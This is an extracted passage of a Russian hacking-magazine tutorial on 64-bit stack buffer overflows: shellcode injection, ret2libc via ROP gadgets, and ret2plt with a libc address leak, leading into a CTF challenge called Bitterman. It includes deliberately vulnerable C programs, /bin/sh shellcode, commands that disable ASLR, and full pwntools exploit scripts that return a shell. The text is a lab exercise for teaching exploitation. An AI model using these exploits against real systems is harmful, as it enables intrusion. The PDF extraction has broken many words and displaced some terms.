$ python ‐c 'print "\x6a\x42\x58\xfe\xc4\x48\x99\x52\
x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\
xd2\x0f\x05"'

Пос ле чего узна ем адрес  .SHELLCODE

 

 

 ./getenvaddr SHELLCODE classic 
SHELLCODE will be at 0x7fffffffe3f8
$

Нем ного под коррек тиру ем скрипт, и у нас все готово для экс плу ата ции!

#!/usr/bin/env python2
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python pwn‐classic.py

import struct

def little_endian(num):
 """Упаковка адреса в формат little‐endian (x64)."""
 return struct.pack('<Q', num)

junk = 'A' * 120
ret_addr = little_endian(0x7fffffffe3f8)
payload = junk + ret_addr

with open('payload.bin', 'wb') as f:
 f.write(payload)

От прав ка пей лоада и получе ние шел ла

Об рати вни мание на исполь зование конс трук ции 
 с иду щей за ней кон вей ерной переда чей. Это нуж но, что бы поток вво да
  оста вал ся  откры тым  пос ле  отправ ки  пей лоада  и  мы  смог ли  вво дить

коман ды.

cat payload.bin; echo; 
cat
stdin

Продолжение статьи →

email:snovvcrash@protonmail.ch
https://archive.aachen.ccc.de/campctf.ccc.ac/challenges/
https://xakep.ru/2019/09/20/stack-overflow/
https://xakep.ru/2019/10/08/hackthebox-dep-aslr/
https://xakep.ru/2019/11/20/hackthebox-smasher/
https://xakep.ru/2019/09/20/stack-overflow/
https://xakep.ru/2019/10/08/hackthebox-dep-aslr/
https://ubuntu.com/download/desktop/thank-you?country=RU&version=19.10&architecture=amd64
https://github.com/longld/peda
https://github.com/hugsy/gef
https://github.com/pwndbg/pwndbg
https://medium.com/bugbountywriteup/pwndbg-gef-peda-one-for-all-and-all-for-one-714d71bf36b8
https://github.com/snovvcrash/xakepru/blob/master/pwn-kingdom/3-bitterman/gdb_weaponize.sh
http://man7.org/linux/man-pages/man3/gets.3.html
https://en.wikipedia.org/wiki/X86-64#Canonical_form_addresses
http://www.renyujie.net/articles/article_ca_x86_3.php
https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%B4%D0%B5_%D0%91%D1%80%D1%91%D0%B9%D0%BD%D0%B0
https://repo.zenk-security.com/Magazine%20E-book/Hacking-%20The%20Art%20of%20Exploitation%20(2nd%20ed.%202008)%20-%20Erickson.pdf
https://github.com/historypeats/getenvaddr
http://shell-storm.org/shellcode/files/shellcode-905.php


В КОРОЛЕВСТВЕ PWN
ROP‐ЦЕПОЧКИ И АТАКА RETURN‐TO‐PLT

В CTF BITTERMAN

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Кейс 2. Return-to-libc
Уяз вимый исходный код.

/**
* Buffer Overflow (64‐bit). Case 2: Return‐to‐libc
* Compile: gcc ‐g ‐fno‐stack‐protector ‐no‐pie ‐o ret2libc ret2libc.

c
* ASLR: Off (sudo sh ‐c 'echo 0 > /proc/sys/kernel/randomize_va_sp

ace')
*/

#include <stdio.h>

void rop_gadgets() {
 asm("pop %rdi; ret");
 asm("nop; ret");
 asm("ret");

}

void vuln() {
 char buffer[100];
 gets(buffer);

}

int main(int argc, char* argv[]) {
 puts("Buffer Overflow (64‐bit). Case 2: Return‐to‐libc\n");
 vuln();

 return 0;
}

Ис ходник изме нил ся толь ко в одном — добави лась вспо мога тель ная фун кция
  ,  о  пред назна чении  которой

погово рим далее.
rop_gadgets с  ассем блер ными  встав ками

При  ком пиляции  чес тно  отка жем ся  от  нас трой ки  ,  отклю‐ 
чающей DEP/NX.

‐z  execstack

 

 

 gcc ‐g ‐fno‐stack‐protector ‐no‐pie ‐o ret2libc ret2libc.c 
 sudo sh ‐c 'echo 0 > /proc/sys/kernel/randomize_va_space'
$
$

Под готов ка исполня емо го фай ла ret2libc для вто рого кей са

ROP-цепоч ки
Единс твен ное  сущес твен ное  отли чие  64‐бит ной  «вер сии»  ата ки  ret2libc
от  ее  32‐раз рядной  пред шес твен ницы  зак люча ется  в  том,  что  аргу мент
для  биб лиотеч ной  фун кции    (стро ка  )  пушит ся  не  в  стек,
а  помеща ется  в  регистр  RDI.  В  свя зи  с  этим  воз ника ет  логич ный  воп рос:
как изме нить поведе ние прог раммы таким обра зом, что бы в нуж ный момент
она записа ла адрес   в RDI?

system "/bin/sh"

"/bin/sh"
Здесь нам на помощь и при ходит широко извес тная  кон цепция 

  (ROP),  которая  зак люча ется
в «пере исполь зовании» сущес тву ющих в памяти машин ных инс трук ций. К сло‐ 
ву, Return‐to‐libc, по сути, все го лишь час тный слу чай ROP.

воз врат‐ 
но‐ори енти рован ного  прог рамми рова ния

«Видишь, как все прос то? Про цес сор — это глу пый кусок крем ния: он
все го лишь выпол няет прос тей шие опе рации с кро хот ными пор циями
бай тов»  —  фра за  из    фран цуз ско го  иссле дова теля  Жюль ена
Паули, которая отлично под ходит к нашему слу чаю.

ра боты

Язык ассем бле ра, по сути, пред став ляет собой набор мне моник для опко дов
про цес сора — сим воличес кие пред став ления машин ных инс трук ций. Но сам
про цес сор  (глу пый  кусок  крем ния)  не  спо собен  оце нить  умес тность  выпол‐ 
нения  той или иной инс трук ции в  текущем  кон тек сте — он прос то  выпол нит
опкод,  на  который  ука зыва ет  регистр  RIP  в  дан ный  момент.  Поэто му,  если
где‐то  в  обоз римой  памяти  про цес са  сущес тву ет  инс трук ция,  содер жащая
байт  ,  за  которым  сле дует  ,  про цес сор  выпол нит  ,  если
«ткнуть  его  носом»  в  нуж ное  сме щение  (ведь      не  что  иное,
как  ).

5f c3 pop  rdi;  ret
5fc3 оз нача ет

pop rdi; ret

Ас сем бли рова ние инс трук ций в HEX‐код (defuse.ca/online‐x86‐
assembler)

С  помощью  ,  к  при меру,  мож но  най ти  все  сме щения  в  нашем  исполня‐ 
емом фай ле, по которым рас положе на нуж ная цепоч ка бай тов  (или, по‐дру‐ 
гому, «ROP‐гад жет»).

xxd

 

 

 xxd ‐c1 ret2libc | grep ‐A1 ' 5f' | grep ‐B1 ' c3' 
00001136: 5f  _ 
00001137: c3  . 
 

000011eb: 5f  _ 
000011ec: c3  .

$

‐‐

Ко неч но, такой под ход к поис ку гад жетов не самый удоб ный, поэто му сущес‐ 
тву ет не один инс тру мент, поз воля ющий авто мати зиро вать про цесс. Не счи‐ 
тая  тем ной магии  pwntools,  к  которой мы  вер немся  при  решении Bitterman,
на ум при ходят три спо соба генера ции ROP‐цепочек:

с  помощью  мощ ного  Unix‐like‐фрей мвор ка  для  реверс‐инжи нирин га
;

•
Radare2
с  помощью  про екта    авто ра  уже  извес тно го  нам  бло га 

;
• ROPgadget shell‐
storm.org
с помощью пря мого нас ледни ка ROPgadget — более уни вер саль ного инс‐ 
тру мен та  .

•
Ropper

Поп робу ем каж дый из них в деле. Так выг лядит поиск ROP‐чей нов с помощью
Radare2.

 

 

 r2 ret2libc 
 /R pop rdi

$
[0x00401050]>

По иск ROP‐гад жетов при помощи Radare2

В арсе нале ROPgadget есть удоб ная опция  , которая поз воля ет задать
мак сималь ное количес тво звень ев в иско мой цепоч ке.

depth

 

 

 ROPgadget ‐‐binary ret2libc ‐‐ropchain ‐‐rawArch=x86‐64 ‐‐depth 2 | 
grep 'pop rdi ; ret' 
 ROPgadget ‐‐binary ret2libc ‐‐opcode 5fc3

$

$

По иск ROP‐гад жетов при помощи ROPgadget

А  Ropper  понима ет  регуляр ные  выраже ния  и  может  быть  исполь зован
не толь ко для поис ка гад жетов.

 

 

 ropper ‐‐file ret2libc ‐‐arch x86_64 ‐‐search 'pop ?di; ret' 
 ropper ‐‐file ret2libc ‐‐arch x86_64 ‐‐disasm 5fc3
$
$

По иск ROP‐гад жетов при помощи Ropper

Сколь ко ути лит, столь ко и отве тов — тебе решать, чем поль зовать ся. Одна ко
об  одном  из  най ден ных  гад жетов  (том,  что  находит ся  по  сме щению

) мне ния всех трех инс тру мен тов сош лись. Если обра тить вни мание
на  вывод  ,  то мож но  видеть  то  же  сме щение  ,  бла года ря  чему
нап рашива ется вывод, что базовый адрес заг рузки прог раммы —  .
Про верить это мож но с помощью  .

0x401136
xxd 0x001136

0x400000
readelf

 

 

 readelf ‐l ret2libc | grep ‐m1 LOAD 
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
$

Пред полагаю,  что  имен но  в  это  мес то  в  исполня емом  фай ле  была  ском‐ 
пилиро вана  встав ка    из  фун кции 
исходно го  кода,  наз начение  которой,  думаю,  уже  ста ло  оче вид ным  —
это «читер ская» фун кция‐помощ ник, бла года ря наличию которой я точ но уве‐ 
рен, что най ду нуж ный гад жет в бинар нике.

asm("pop  %rdi;  ret") rop_gadgets

Защита от ROP
Дол гое вре мя единс твен ной защитой от ROP‐атак был механизм ASLR. Одна‐ 
ко  час то  он  не  ста новит ся  зна чимым  пре пятс тви ем  для  наруши теля:  мож но
переб рать адрес libc   (если речь идет о 32‐бит ных сис‐ 
темах)  или  вос поль зовать ся  несовер шенс твом  написан ного  кода  и  исполь‐ 
зовать биб лиотеч ные фун кции так, что бы спро воци ровать утеч ку памяти (как
будет показа но на при мере зак лючитель ного тре ниро воч ного кей са).

ме тодом гру бой силы

Спе циалис ты  по  компь ютер ной  безопас ности  IT‐гиган тов  стре мят ся
устра нить воз можность таких атак, это мож но наб людать на при мере попыток
воп лотить в жизнь кон цепцию   (Control‐flow integrity) — как на аппа рат ном
уров не (  фир мы Intel), так и на соф твер ном (  авторс тва Karam‐
ba Security).

CFI
CET XGuard CFI

Раз работ ка спло ита
Итак,  мы  оста нови лись  на  том,  что  был  ском пилиро ван  исполня емый  файл

. Вот что говорит о нем  .ret2libc checksec

Про вер ка безопас ности исполня емо го фай ла ret2libc

DEP вклю чен, все по пла ну.
Пей лоад для PWN   будет иметь при мер но такой вид.ret2libc

ПЕЙЛОАД =
 (1) МУСОР_120_байт +
 (2) ГАДЖЕТ_pop_rdi +
 (3) СТРОКА_bin_sh +
 (4) АДРЕС_system +
 (5) АДРЕС_exit

1. Че рез  120‐бай товое  запол нение  мы  доберем ся  до  точ ки  переза писи
регис тра RIP.

2. ROP‐гад жет   положит в регистр RDI (где фун кция 
будет искать свой пер вый аргу мент) зна чение, которое лежит на вер шине
сте ка (стро ку   из пун кта 3), и передаст управле ние сле дующей
инс трук ции (вызов   из пун кта 4).

pop rdi; ret system

"/bin/sh"

system

3. Тот  самый  аргу мент  для  ,  который  ока жет ся  в  RSP  на  момент
выпол нения  .

system

pop rdi

4. Собс твен но,  гвоздь  прог раммы  —  фун кция    из  libc,  которая
подарит нам шелл.

system

5. Фун кция   из  libc, которая перех ватит управле ние пос ле того, как мы
наиг раем ся  с  шел лом,  и  не  поз волит  прог рамме  завер шить ся  ошиб кой
сег мента ции.

exit

Так как для наших экспе римен тов исполь зует ся фун кция  , которая 
 (в отли чие от  , нап ример), мож но не бес поко ить‐ 

ся о кон катена ции раз ных час тей пей лоада.

gets уме ет
читать нулевые бай ты strcpy

Те перь  самое  вре мя  поз накомить ся  с  питонов ским  модулем  pwntools,
приз ванным прев ратить раз работ ку низ коуров невых экс пло итов в одно удо‐ 
воль ствие.

Pwntools
  —  сто рон ний  модуль  для  Python,  раз рабаты ваемый  спе циаль но

для при мене ния в CTF‐кам пани ях для тас ков катего рии PWN. Его авто ры сов‐ 
сем не сле дова ли филосо фии Unix, поэто му pwntools уме ет делать мно го, но,
как ни стран но, дела ет все это хорошо.

Pwntools

Ус танов ка сво дит ся к прос той коман де менед жеру пакетов. Мы будем ста‐ 
вить  stable‐вер сию  (для  Python  2).  Хоть  раз работ чики  уже  и  выпус тили  бету
pwntools для Python 3, багов там все еще слиш ком мно го, что бы нор маль но
ей поль зовать ся  (в основном труд ности с раз личи ями в механиз мах работы
с кодиров ками).

$ sudo ‐H python2 ‐m pip install ‐‐upgrade pwntools

Имей в виду, что в довесок к самому модулю будет уста нов лена туча сто рон‐ 
них  зависи мос тей,  поэто му  я  бы  не  рекомен довал  ста вить  pwntools
на основном хос те не из вир туаль ной сре ды.

Ссыл ка  на  информа тив ную  докумен тацию  (которая,  впро чем,  иног да
не откры вает ся без VPN):  .docs.pwntools.com

Ра ботать с модулем нес ложно, а код получа ется инту итив но понят ным, поэто‐ 
му я про ком менти рую толь ко основные момен ты.

#!/usr/bin/env python2
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python pwn‐ret2libc.py [DEBUG]

from pwn import *

context.arch      = 'amd64'
context.os        = 'linux'
context.endian    = 'little'
context.word_size = 64
context.terminal  = ['tmux', 'new‐window']

junk = 'A' * 120
pop_rdi_gadget = p64(0x401136)
system_addr = p64(0x7ffff7e1ffd0)
bin_sh_addr = p64(0x7ffff7f7cb84)
exit_addr = p64(0x7ffff7e143c0)

payload = junk + pop_rdi_gadget + bin_sh_addr + system_addr + exit_a
ddr

with open('payload.bin', 'wb') as f:
 f.write(payload)

p = process('./ret2libc')

"""
gdb.attach(p, '''
init‐peda
start''')

# Нужен raw_input(), когда юзаешь gdb.debug() вместо gdb.attach()
"""

p.recvuntil('Case 2: Return‐to‐libc')
raw_input('[?] Отправляю пейлоад?')
p.sendline(payload)

p.interactive()

Стро ки 6–12: пер вым делом импорти руем модуль и зада ем основные нас‐ 
трой ки окру жения. Удоб но, что есть под дер жка  , бла года ря  которой
pwntools уме ет откры вать отладчик в новом окне.

•
tmux

Стро ки 14–23: фор миру ется полез ная наг рузка, шаб лон которой мы обсу‐ 
дили выше. Сме щение ROP‐гад жета уже было най дено, а адре са осталь‐ 
ных час тей пей лоада мож но добыть с помощью отладчи ка, как мы делали
это  . Фун кция  ,  как  ты мог  догадать ся,  выпол няет  то  же  самое,
что и   в спло ите из пер вого кей са.

•

здесь p64

little_endian

Cтро ки  25  и  35–39:  непос редс твен но  вза имо дей ствие  с  исполня емым
фай лом — отправ ка пей лоада и переход в инте рак тивный режим для вза‐ 
имо дей ствия с получен ным шел лом.

•

Стро ки  27–33:  работа  с  отладчи ком  на  эта пе  раз работ ки.  Это  очень
помога ет отлавли вать свои ошиб ки при тес тирова нии экс пло ита.

•

Поп робу ем запус тить на исполне ние.

Пер вая попыт ка запус ка экс пло ита (про вал)

Шелл мы не получи ли, и, как мож но видеть, про цесс упал с сег фолтом. Если
запус тить  скрипт  с  парамет ром  ,  мож но  получить  боль ше  фид бэка
от pwntools.

DEBUG

То же самое, но с опци ей DEBUG

Это  не  про ясни ло  ситу ацию,  поэто му  пой дем  в  отладчик  смот реть,  что  же
на самом деле про исхо дит. Пос тавим точ ку оста нова на воз вра те из фун кции

, скор мим бинар нику содер жимое фай ла  , куда мы записа ли
пей лоад, и сде лаем шаг впе ред.
vuln payload.bin

 

 

gdb‐peda$ b *0x401159 
gdb‐peda$ r < payload.bin 
gdb‐peda$ si

Под готов ка к выпол нению пер вой час ти гад жета (pop rdi)

На этом эта пе RIP ука зыва ет на пер вую инс трук цию нашего гад жета  ,
а  в  RSP  находит ся  стро ка  ,  которая  через  мгно вение  ока жет ся
в RDI.

pop rdi
"/bin/sh"

 

 
gdb‐peda$ si

Под готов ка к выпол нению вто рой час ти гад жета (ret)

Пос ле перехо да к сле дующей инс трук ции в RIP ока залась оставша яся часть
ROP‐гад жета  , а RSP теперь ука зыва ет на  , куда и будет переда но
управле ние.  Обра ти  вни мание  на  зна чение  ука зате ля  в  RSP
( ) — оно ста нет клю чом к понима нию проб лемы.

ret system

0x7fffffffded8

 

 
gdb‐peda$ si

Ошиб ка сег мента ции

И вот здесь прог рамма кра шит ся. В чем дело?
Все прос то: начиная с Ununtu 18.04 и по текущий релиз (19.10) в дис три‐ 

бути ве  исполь зует ся  вер сия  биб лиоте ки  GLIBC,  содер жащая  инс трук цию
  в  реали зации  некото рых  фун кций  —  в  том  чис ле    (ядро

фун кции  ).  В  64‐бит ном  ассем бле ре  эта  инс трук ция  ,  что бы
стек  был  выров нен  на  16‐бай тную  гра ницу  при  переда че  управле ния  таким
фун кци ям. «Выров нен на 16‐бай тную гра ницу» — то же самое, что «зна чение
RSP  делит ся  на  0x10»,  а  у  нас  это  зна чение  рав но  .  Под‐ 
робнос ти  об  этой  осо бен ности  мож но  най ти  в    по  клю чевой  фра зе
The MOVAPS issue.

movaps do_system
system тре бует

0x7fffffffded8
пос те

Ре шение три виаль но: добавить к нашему пей лоаду гад жет с инс трук цией
NOP ( ) или прос то еще один  . Это уве личит стек на одну ячей ку
(8  байт),  тем  самым  умень шив  зна чение  адре са  его  вер шины  (так  как  стек
рас тет  вниз).  Имен но  столь ко  нам  нуж но,  что бы  зна чение  RSP  делилось
на 0x10:  .

nop; ret ret

0x7fffffffded8 ‐ 0x8 = 0x7fffffffded0
Най дем мес тополо жение гад жета с NOP.

 

 

 ropper ‐‐file ret2libc ‐‐arch x86_64 ‐‐search 'nop; ret' 
 Load gadgets from cache 
 loading... 100% 
 removing double gadgets... 100% 
 Searching for gadgets: nop; ret 

  
 File: ret2libc 

0x00000000004010af: nop; ret;

$
[INFO]
[LOAD]
[LOAD]
[INFO]

[INFO]

И модифи циру ем наш пей лоад.

...
nop_gadget = p64(0x4010af)
payload = junk + pop_rdi_gadget + bin_sh_addr + nop_gadget + system
_addr + exit_addr
...

Те перь все работа ет как нуж но, и я получаю чес тно зарабо тан ный шелл.

Вто рая попыт ка запус ка экс пло ита (успех)

Продолжение статьи →
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В КОРОЛЕВСТВЕ PWN
ROP‐ЦЕПОЧКИ И АТАКА RETURN‐TO‐PLT

В CTF BITTERMAN

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Кейс 3. Return-to-PLT
Уяз вимый исходный код.

/**
* Buffer Overflow (64‐bit). Case 3: Return‐to‐PLT
* Compile: gcc ‐g ‐fno‐stack‐protector ‐no‐pie ‐o ret2plt ret2plt.c
* ASLR: On
*/

#include <stdio.h>

void rop_gadgets() {
 asm("pop %rdi; ret");
 asm("nop; ret");
 asm("ret");

}

void vuln() {
 char buffer[100];
 gets(buffer);

}

int main(int argc, char* argv[]) {
 puts("Buffer Overflow (64‐bit). Case 3: Return‐to‐PLT\n");
 vuln();

 return 0;
}

Ис ходник  не  изме нил ся  с  прош лого  раза,  если  не  счи тать  наз вание  кей са.
Соберем и акти виру ем ASLR.

 

 

 gcc ‐g ‐fno‐stack‐protector ‐no‐pie ‐o ret2plt ret2plt.c 
 sudo sh ‐c 'echo 2 > /proc/sys/kernel/randomize_va_space'
$
$

Под готов ка исполня емо го фай ла ret2plt для треть его кей са

Мне ние   об исполня емом фай ле.checksec

Про вер ка безопас ности исполня емо го фай ла ret2plt

Так  как  вклю чен  механизм  ран домиза ции  ASLR,  адрес  libc  будет  менять ся
с каж дым вызовом прог раммы. Но раз ве нас ког да‐нибудь пугали труд ности?

Как «слить» адрес libc и ничего не заметить
Клю чом  к  понима нию  Return‐to‐PLT  и  некото рых  смеж ных  с  ней  типов  атак
(нап ример, GOT Overwrite)  слу жит  зна ние  стро ения  сек ций    ( )
и   ( ).

.plt .got.plt
.got .plt.got

PLT и GOT
Файл  ELF,  как  ты  зна ешь,  раз делен  на  сек ции,  часть  из  которых  содер жат
необ ходимую информа цию  (в виде  таб лиц поис ка) для про цеду ры 

 (relocations) адресно го прос транс тва. Мно гие фун кции исполня емо‐ 
го фай ла не зашиты непос редс твен но в бинар ник, а под гру жают ся ком понов‐ 
щиком  динами чес ки  из  раз деля емых  биб лиотек  (типа  libc)  при  работе  про‐ 
цес са. Вмес то того что бы хра нить захар дко жен ные адре са этих фун кций (что
было  бы  бес смыс ленно  по  раз ным  при чинам  —  из‐за  активнос ти  того  же
ASLR,  к  при меру),  в  ELF  на  мес то  этих  фун кций  помеща ются  спе циаль ные
«заг лушки»,  которые  резол вятся  поз же.  Здесь  на  помощь  и  при ходят
перераз мещения.

пе рераз‐ 
мещения

  (Procedure  Linkage  Table) —  таб лица  ком понов ки  про цедур,  исполь‐ 
зуемая для вызовов таких «внеш них» фун кций. Она содер жит те самые «заг‐ 
лушки»  (спе циаль ные  вспо мога тель ные  фун кции),  которые  в  зависи мос ти
от ситу ации либо пры гают на код реаль ных фун кций, либо обра щают ся к ком‐ 
понов щику,  что бы  это  сде лал  он.  В  пос леднем  слу чае  (ког да  неиз вес тная
фун кция  встре чает ся  в  исполня емом  фай ле  впер вые),  «заг лушка»  тре вожит
ком понов щик,  что бы  тот  при шел  на  помощь  и  помог  отыс кать  нас тоящий
адрес неиз вес тной фун кции.

PLT

  (Global Offset  Table) —  гло баль ная  таб лица сме щений,  содер жащая
реаль ные адре са неиз вес тных сущ ностей, которые заг ружа ются динами чес ки
в  про цес се  исполне ния.  Пос ле  того  как  ком понов щик  уже  однажды  нашел
внеш нюю фун кцию, ее сме щение заносит ся в GOT (и переза писы вает то, что
было там рань ше), что бы не ини цииро вать поиск пов торно.

GOT

Про  PLT  и  GOT  мож но  говорить  дол го,  это  тема  отдель ной  статьи.  Вот
хорошие матери алы, которые осве щают тему более под робно:

;• PLT and GOT — the key to code sharing and dynamic libraries
.• GOT and PLT for pwning

Ос новная идея зак люча ется в том, что в некото рых слу чаях, ког да прог рамма
выводит что‐то на экран, есть шанс вытащить из нее  тот самый  (слу чай ный)
адрес  заг рузки  раз деля емой  биб лиоте ки  проз рачно  для  самой  прог раммы.
Это  сра бота ет,  ког да  в  роли  фун кции  печати  на  экран  выс тупа ет  .  Мы
дос тигнем  это го,  выз вав  «заг лушку»  фун кции  ,  в  качес тве  аргу мен та
для которой будет исполь зовано зна чение из GOT. Так как   еще не был
най ден  к  это му  момен ту,  ком понов щик  сде лает  это  за  нас,  а    выведет
адрес самой себя на экран, и мы смо жем пос читать сме щение до начала libc.
Все будет более понят но, ког да мы про дела ем это на прак тике.

puts
puts

puts
puts

В  упро щен ном  виде  про демонс три ровать  то,  что  мы  собира емся
вытащить из исполня емо го фай ла, мож но с помощью три виаль ного proof‐of‐
concept на C.

// gcc ‐o poc‐ret2plt poc‐ret2plt.c

#include <stdio.h>

int main(int argc, char* argv[]) {
 char addr[16];
 sprintf(addr, "%p", &puts);
 puts(addr);

 return 0;
}

Вы вод на экран адре са фун кции puts

Как  мож но  видеть,  адрес    меня ется  с  каж дым  вызовом  прог раммы.
Таким обра зом, наша ата ка будет сос тоять из двух фаз.

puts

1. По луче ние  «сли того»  адре са    в  libc,  рас чет  реаль ного  адре са  заг‐ 
рузки  биб лиоте ки  как 

  и  переза пуск  прог раммы  прыж‐ 
ком на фун кцию  .

puts

LIBC_start_main  =  СЛИТЫЙ_адрес_puts   

СМЕЩЕНИЕ_puts_относительно_libc

main

2. Рас чет реаль ных адре сов фун кций  ,   и стро ки   (с
помощью  добыто го  в  пер вой  фазе  адре са  заг рузки  libc)  и  выпол нение
клас сичес кой  64‐бит ной  ата ки  ret2libc  ана логич но  при меру  из  вто рого
кей са.

system exit "/bin/sh"

Пей лоад для пер вой фазы будет иметь такой вид.

ПЕЙЛОАД =
 (1) МУСОР_120_байт +
 (2) ГАДЖЕТ_pop_rdi +
 (3) GOT_puts +
 (4) PLT_puts +
 (5) АДРЕС_main

А для вто рой, соот ветс твен но, такой.

ПЕЙЛОАД2 =
 (1) МУСОР_120_байт +
 (2) ГАДЖЕТ_pop_rdi +
 (3) СТРОКА_bin_sh +
 (4) ГАДЖЕТ_nop +
 (5) АДРЕС_system +
 (6) АДРЕС_exit

Сбор адре сов и конеч ный экс пло ит
Все  необ ходимые  адре са  и  сме щения  мож но  най ти,  выпол нив  все го  пять
команд.  Я  не  оста нав лива юсь  здесь  слиш ком  под робно,  потому  что  все
это мы уже делали.

 

 

 ropper ‐‐file ret2plt ‐‐arch x86_64 ‐‐search 'pop rdi; ret' 
 ropper ‐‐file ret2plt ‐‐arch x86_64 ‐‐search 'nop; ret' 
 objdump ‐D ret2plt | grep ‐e 'puts' ‐e   
 readelf ‐s /usr/lib/x86_64‐linux‐gnu/libc.so.6 | grep ‐e ' puts@' ‐e ' 
system@' ‐e ' exit@' 
 strings ‐atx /usr/lib/x86_64‐linux‐gnu/libc.so.6 | grep '/bin/sh'

$
$
$ '<main>'
$

$

Со бира ем информа цию для спло ита

На рисун ке име на зна чени ям я прис воил такие же, как в теле кода экс пло ита.

#!/usr/bin/env python2
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python pwn‐ret2plt.py [DEBUG]

from pwn import *
import time

context.arch      = 'amd64'
context.os        = 'linux'
context.endian    = 'little'
context.word_size = 64
context.terminal  = ['tmux', 'new‐window']

junk = 'A' * 120
pop_rdi_gadget = p64(0x401136)
nop_gadget = p64(0x4010af)
puts_plt = p64(0x401030)
puts_got = p64(0x404018)
main_offset = p64(0x40115a)

payload = junk + pop_rdi_gadget + puts_got + puts_plt + main_offset

p = process('./ret2plt')

"""
gdb.attach(p, '''
init‐peda
start''')

# Нужен raw_input(), когда юзаешь gdb.debug() вместо gdb.attach()
"""

p.recvuntil('Case 3: Return‐to‐PLT')
raw_input('[?] (1‐я фаза) Отправляю пейлоад?')
p.clean()
p.sendline(payload)
received = p.recvuntil('Case 3: Return‐to‐PLT')[:6].strip()
leaked_puts = u64(received.ljust(8, '\x00'))
log.success('(1‐я фаза) Слитый адрес puts@GLIBC (./ret2plt): %s' % 
hex(leaked_puts))

puts_offset = 0x83cc0
libc_start = leaked_puts ‐ puts_offset
log.success('(1‐я фаза) Вычислен адрес __libc_start_main (libc): %s' 
% hex(libc_start))

system_offset = 0x52fd0
bin_sh_offset = 0x1afb84
exit_offset = 0x473c0

system_addr = libc_start + system_offset
log.success('(2‐я фаза) Вычислен адрес system (libc): %s' % hex(
system_addr))

bin_sh_addr = libc_start + bin_sh_offset
log.success('(2‐я фаза) Вычислен адрес "/bin/sh" (libc): %s' % hex(
bin_sh_addr))

exit_addr = libc_start + exit_offset
log.success('(2‐я фаза) Вычислен адрес exit (libc): %s' % hex(exit_a
ddr))

system_addr = p64(system_addr)
bin_sh_addr = p64(bin_sh_addr)
exit_addr = p64(exit_addr)

payload2 = junk + pop_rdi_gadget + bin_sh_addr + nop_gadget + system
_addr + exit_addr

#p.recvuntil('Case 3: Return‐to‐PLT')
raw_input('[?] (2‐я фаза) Отправляю пейлоад?')
p.clean()
p.sendline(payload2)

p.clean()
p.interactive()

Раз — и у нас уже есть шелл!

По луча ем шелл

Что, если вер сия libc неиз вес тна?
Как быть, если у тебя нет дос тупа к исполь зуемой биб лиоте ке libc? Как в этом
слу чае узнать нуж ные сме щения, ведь они раз личны для раз ных вер сий?

В этом слу чае спа сет про ект  , который акку мули рует все вер‐ 
сии libc и поз воля ет выпол нять поиск по ним. Мож но заг рузить и соб рать базу
локаль но, а мож но вос поль зовать ся  .

libc‐database

веб‐вер сией
Так  как  ран домиза ция  памяти  работа ет  на  стра нич ном  уров не,  пос‐ 

ледние 12 бит (три сим вола) сме щения, как пра вило, оста ются неиз менны ми,
что поз воля ет по «сли тому» адре су фун кции   уга дать вер сию биб лиоте ки.puts

Уз наем вер сию libc по адре су фун кции puts (libc.blukat.me)

Ес ли ска чать пред ложен ную вер сию и про верить хеш‐сум мы, то ока жет ся, что
это и прав да та же самая биб лиоте ка, которая исполь зует ся на моем стен де.

$ wget ‐q https://libc.blukat.me/d/libc6_2.29‐0ubuntu2_amd64.so
$ md5sum libc6_2.29‐0ubuntu2_amd64.so /usr/lib/x86_64‐linux‐gnu/libc
.so.6
2fb0d6800d4d79ffdc7a388d7fe6aea0  libc6_2.29‐0ubuntu2_amd64.so
2fb0d6800d4d79ffdc7a388d7fe6aea0  /usr/lib/x86_64‐linux‐gnu/libc.so.
6

BITTERMAN

Can you   this one for me? bitterman is running on localhost:10103
This time NX is enabled, to make sure it’s not too easy. Here’s the  .

exploit
libc

При мер но так выг лядело усло вие к ори гиналь ному тас ку Bitterman. Раз ве что
URL, на котором хос тился бинарь, был дру гим.

Для  аутен тичнос ти  перемес тимся  на  Kali,  заг рузим  исполня емый  файл
и про ведем быс трый ана лиз.

Bitterman в дей ствии

Как мож но видеть, вся фун кци ональ ность этой веж ливой прог раммы сво дит ся
к при ветс твию, зап росу дли ны вво димой поль зовате лем стро ки и собс твен но
самой  стро ки.  Методом  тыка  выяс няем,  что  пос ледний  ввод  уяз вим
к перепол нению буфера.

Ошиб ка сег мента ции при вво де стро ки боль шой дли ны

Продолжение статьи →

https://en.wikipedia.org/wiki/Relocation_(computing)
https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html
https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html
https://github.com/niklasb/libc-database
https://libc.blukat.me/
https://archive.aachen.ccc.de/campctf.ccc.ac/uploads/bitterman
https://archive.aachen.ccc.de/campctf.ccc.ac/uploads/libc.so.6


В КОРОЛЕВСТВЕ PWN
ROP‐ЦЕПОЧКИ И АТАКА RETURN‐TO‐PLT

В CTF BITTERMAN

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Ста тичес кий ана лиз
Пос мотрим на фун кцию   пос ле дизас сем бли рова ния в Radare2.main

 

 

 r2 ./bitterman 
 ‐‐ Welcome to IDA 10.0. 

 aaa 
 Analyze all flags starting with sym. and entry0 (aa) 
 Analyze function calls (aac) 
 Analyze len bytes of instructions for references (aar) 
 Constructing a function name for fcn.* and sym.func.* functions 

(aan) 
 Type matching analysis for all functions (aaft) 
 Use ‐AA or aaaa to perform additional experimental analysis. 

 pdf @ main 
...

$

[0x00400590]>
[x]
[x]
[x]
[x]

[x]
[x]
[0x00400590]>

Ди зас сем бли руем Bitterman в Radare2 (кли кабель но)

: крас ным выделе на уяз вимая фун кция вво да.Спой лер

Ес ли у тебя нет воз можнос ти при обрести IDA Pro (а пиратс тво мы не одоб‐ 
ряем), можешь исполь зовать для деком пиляции инс тру мент  ,  который
